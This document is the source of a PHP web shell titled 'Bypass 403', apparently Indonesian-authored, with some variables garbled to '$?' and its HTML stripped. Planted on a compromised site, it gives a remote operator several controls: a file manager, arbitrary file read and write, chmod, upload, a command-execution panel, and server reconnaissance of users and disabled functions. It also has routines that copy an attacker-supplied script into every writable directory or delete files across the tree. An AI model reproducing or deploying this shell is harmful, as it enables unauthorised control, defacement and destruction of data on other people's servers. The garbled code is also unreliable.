$? Bypass 403 "; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '
:
/ '; continue; } if($pat == '') continue; echo '
'.$pat.' /'; } echo " [ ".?($path, p($path))." ]"; echo "
"; // tools nya if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['id'] == 'depes'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[
success ] $?
"; file_put_contents($?, $isi_script); $? = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[
success ] $dirb/$namafile
"; file_put_contents($?, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "
"; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } elseif($_POST['tipe'] == 'biasa') { echo "
"; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } } else { echo "
$?
"; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "
NONE "; } else { $disfc = "
$disfunc "; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "
ON " : "
OFF "; echo '
'.$?.'
'; } elseif($_GET['id'] == 'about'){ echo '
'.$?.'
'; } elseif($_GET['id'] == 'cmd') { echo "$?
$method "; ob_start(); $methodArray = ekse(); ob_end_clean(); foreach ($methodArray as $value) { echo "$value "; } echo '
'; if($cmd == "") { echo "
'; }else { echo "
"; } } elseif($_GET['id'] == 'upload'){ echo '
'.$?.'
Submit
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($?)) { echo "[
deleted ] $?
"; unlink($?); $? = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "
"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "
"; } else { echo "
$?
Lokasi: File name: "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "name : ".basename($_GET['filesrc']);""; echo ' '.htmlspecialchars(file_get_contents($_GET['filesrc'])).' '; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo 'name : '.basename($_POST['path']);''; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo ' '; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo ' '; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo ' '; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo ' '.htmlspecialchars(file_get_contents($_POST['path'])).' '; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '
Copyright © ".date("Y")." - $?